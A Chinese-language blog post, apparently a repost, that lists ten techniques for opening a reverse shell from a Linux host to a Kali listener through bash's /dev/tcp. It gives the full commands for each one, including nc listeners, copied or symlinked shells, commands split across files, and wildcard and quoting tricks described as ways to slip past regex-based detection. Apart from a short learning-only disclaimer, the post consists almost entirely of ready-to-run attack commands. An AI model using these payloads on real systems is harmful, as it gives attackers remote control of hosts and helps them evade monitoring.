反弹Shell复现方式合集

反弹 shell 姿势复现(一)前言复现环境说明反弹 shell 姿势(一)--- 利用 bash 反弹 shell 重要说明方法一方法二前言 & nbsp;    反弹 shell 有很多种方式,这个系列内容较多,之后也会不断更新,对于反弹 shell 复现也算是一个近期工作的归纳总结吧。

前言

反弹 shell 有很多种方式,这个系列内容较多,之后也会不断更新,对于反弹 shell 复现也算是一个近期工作的归纳总结吧。
    注意:本博文仅供学习反弹 shell 的姿势使用,勿作其他用途的参考!

后门简介

反弹 SHELL 技术 当目标系统为 LINUX 时,反弹 SHELL 在漏洞证明、利用中是一个有效的手段。可在目标机器执行 bash -i >& /dev/tcp/[攻击者IP]/[攻击者端口] 0>&1 反弹 SHELL。 bash -i >& /dev/tcp/kali的ip地址/1231 0<&1 bash -i 用于创建一个交互式 BASH;>& /dev/tcp/[攻击者IP]/[攻击者端口] 建立 TCP 连接,将标准输出和错误输出重定向到 TCP 连接;0>&1 用于从 TCP 连接获取输入并传入到 BASH。

复现环境说明

我在 ubuntu 和 centos 上均做了复现,用于比较版本对反弹 shell 的影响,实验方式是一样的,只是为了对比结果。

  • 服务端(被监听)(ubuntu 使用cat /proc/version查看,centos 使用cat /etc/system-release查看):ubuntu 5.4.0-67-generic; centos:CentOS Linux release 7.5.1804 (Core)

  • 客户端(监听):kali 5.9.0-kali1-amd64

利用 bash 反弹 shell

利用 bash 反弹 shell 的方式有很多,之后本页面也会不断更新

重要说明

  • /dev/tcp 文件说明
        这个文件在利用 bash 反弹 shell 的时候非常重要,这个文件本身是不存在的,可以看成是一个设备,打开这个文件就相当于发出了一个 socket 调用,建立起一个 socket 连接,读写这个文件就相当于在这个 socket 连接中传输数据。
        /dev/tcp/host_ip/port :只要读取或者写入这个文件,相当于系统会尝试连接 ip 地址为 host_ip 的这台机器,对应的端口为 port,如果这个 ip 和端口存在,就会建立起一个 socket 连接,在 / proc/self/fd 目录下面,还有对应的文件生成。利用这个 / dev/tcp 文件的这个原理,就可以实现 shell 的反弹。

方法一:利用 bash 进行反弹

这是一种基础的利用 / dev/tcp 文件原理的方法

  1. 监听端(kali 端):
        首先让监听端开启监听:
    nc -nlvp 1231(此处假设监听的是 1231 端口)

  2. 被监听端(ubuntu 端):
    cp /usr/bin/bash /opt/log_file/t(复制一个 bash 到当前文件夹)
    ./t -i >& /dev/tcp/kali的ip地址/1231 0<&1

  3. kali 端已经拿到 ubuntu 的 shell,成功后,在 kali 输入exit退出即可

方法二:利用 busybox 执行 sh 进行反弹

利用 busybox:BusyBox 是标准 Linux 工具的一个单个可执行实现,里面含带了多种 shell,只不过里面没有包含 bash(此方法使用 sh)。简单的说,busybox 就是一个小型的根文件系统。因此,我们可以使用 busybox 来模拟根文件系统(rootfs),然后再结合一个 linux 内核,这样就可以组件一个 linux 系统了。

  1. 监听端(kali 端)
        首先让监听端开启监听:
    nc -nlvp 1231(此处假设监听的是 1231 端口)
  2. 客户端(ubuntu 端):

  3. kali 拿到反弹过来的 shell
    结果与方法一的结果相同,使用命令exit退出即可

方法三:软连接诶 + 绕过正则示例 1(命令变化特殊字符)

利用 ln 创建 sh 的软链接,然后通过 / dev/tcp 进行反弹:

  1. 监听端(kali 端)

  2. 让监听端开启监听:
    nc -nlvp 1231(此处假设监听的是 1231 端口)

  3. 客户端(centos 端):

  4. 创建软链接:ln -s /bin/sh t

  5. str=dev
  6. ./t -i >& /${str}/tcp/kali的ip地址/1231 0>&1

  7. kali 端拿到被监听方反弹的 shell,使用exit命令退出即可

方法四:软链接 + 绕过正则示例 2(命令变化特殊字符)+ 新起一个 bash

利用 ln 创建 sh 的软链接,利用echo命令给值给 sh,然后通过 / dev/tcp 进行反弹:

  1. 监听端(kali 端)

  2. 让监听端开启监听:
    nc -nlvp 1231(此处假设监听的是 1231 端口)

  3. 客户端(centos 端):

  4. 创建软链接:ln -s /bin/sh t

  5. echo './t -i >&' '/dev/tcp/kali的ip地址/1231' '0>&1' |bash

  6. kali 端拿到被监听方反弹的 shell,使用exit命令退出即可

方法五:软链接 + 绕过正则示例 3(命令变化特殊字符)

利用 ln 创建 sh 的软链接,然后通过 / dev/tcp 进行反弹:

  1. 监听端(kali 端)

  2. 让监听端开启监听:
    nc -nlvp 1231(此处假设监听的是 1231 端口)

  3. 客户端(centos 端):

  4. 创建软链接:ln -s /bin/sh t

  5. ./t -i >& /"dev"/tcp/kali的ip地址/1231 0>&1

  6. kali 端拿到被监听方反弹的 shell,使用exit命令退出即可

这样的变化方式有很多,主要是增加一些符号等,并不影响命令的执行,比如双引号还可以编程单引号、加一些括号、$ 符号、“*” 号等等。

方法六:利用软链接 + bash 执行文件内容

依旧是利用软链接,但是把命令写在文件中去执行。

  1. 监听端(kali 端)

  2. 让监听端开启监听:
    nc -nlvp 1231(此处假设监听的是 1231 端口)

  3. 客户端(centos 端):

  4. 创建软链接:ln -s /bin/sh /tmp/t

  5. echo -n '0<&196
  6. exec 196' > a
  7. echo -n '<>/dev/tcp/kali的ip地址' > b
  8. echo -n '/1231
  9. /tmp/t <&196 >&196 2>&196' > c
  10. cat a b c|bash

  11. kali 端拿到被监听方反弹的 shell,使用exit命令退出即可

方法七:利用软链接 + 新起 bash 执行反弹

依旧是利用软链接,通过新起一个 bash 来执行反弹命令。

  1. 监听端(kali 端)

  2. 让监听端开启监听:
    nc -nlvp 1231(此处假设监听的是 1231 端口)

  3. 客户端(centos 端):

  4. 创建软链接:ln -s /bin/sh /tmp/t

  5. echo '0<&196
  6. exec' '196<>/dev/tcp/kali的ip地址/1231
  7. ' '/tmp/t <&196 >&196 2>&196'|bash

  8. kali 端拿到被监听方反弹的 shell,使用exit命令退出即可

方法八:软链接 + 执行文件中的命 + 新起一个 bash

依旧是利用软链接,通过新起一个 bash 来执行反弹命令和写入文件相结合。

  1. 监听端(kali 端)

  2. 让监听端开启监听:
    nc -nlvp 1231(此处假设监听的是 1231 端口)

  3. 客户端(centos 端):

  4. 创建软链接:

  5. ln -s /bin/sh t
  6. echo -n './t -i >& /de' > a
  7. echo -n 'v/tcp/kali的ip地址/1231 0>' > b
  8. echo -n '&1' > c; cat a b c|bash
    1. kali 端拿到被监听方反弹的 shell,使用exit命令退出即可

方法九:利用 zsh 替换 bash + 绕过正则

  1. 监听端(kali 端)

  2. 让监听端开启监听:
    nc -nlvp 1231(此处假设监听的是 1231 端口)

  3. 客户端(centos 端):
    执行命令:/b?n/c?h -i > /dev/tcp/kali的ip地址/1231 0>&1

  4. kali 端拿到被监听方反弹的 shell,使用exit命令退出即可

方法十:利用 tcsh 替换 bash + 绕过正则

  1. 监听端(kali 端)

  2. 让监听端开启监听:
    nc -nlvp 1231(此处假设监听的是 1231 端口)

  3. 客户端(centos 端):
    执行命令/b?n/tc?h -i > /dev/tcp/kali的ip地址/1231 0>&1

  4. kali 端拿到被监听方反弹的 shell,使用exit命令退出即可

这一篇博文后续也会继续保持更新,目前做了二十几种 bash 反弹 shell 的复现,反弹的方式多种多样,并不能涵盖所有,本文总结了其中的一部分,大多数利用 bash 反弹 shell 的方式主要是利用本文提到的方法的排列组合,或者是增加一些符号,也就是绕过正则,在命令中变换特殊字符,比如空格使用 ${IFS}、使用 base64 编码等,或者是加入命令通配符,比如 / b?n/ba?h 等,亦或者是使用 tcsh、zsh 来替换 bash,或者是 cp、软链接来替换 bash 躲避检测等等,主要是为了躲避检测,方式有很多很多,但是其原理都是大同小异)
    接下来如果在做到利用 bash 反弹 shell,会进行横向纵向的扩充,根据姿势的种类,也会增加博文的篇数,其他方面如有不足,请多指正 (#^.^#)

原文地址 www.cxyzjd.com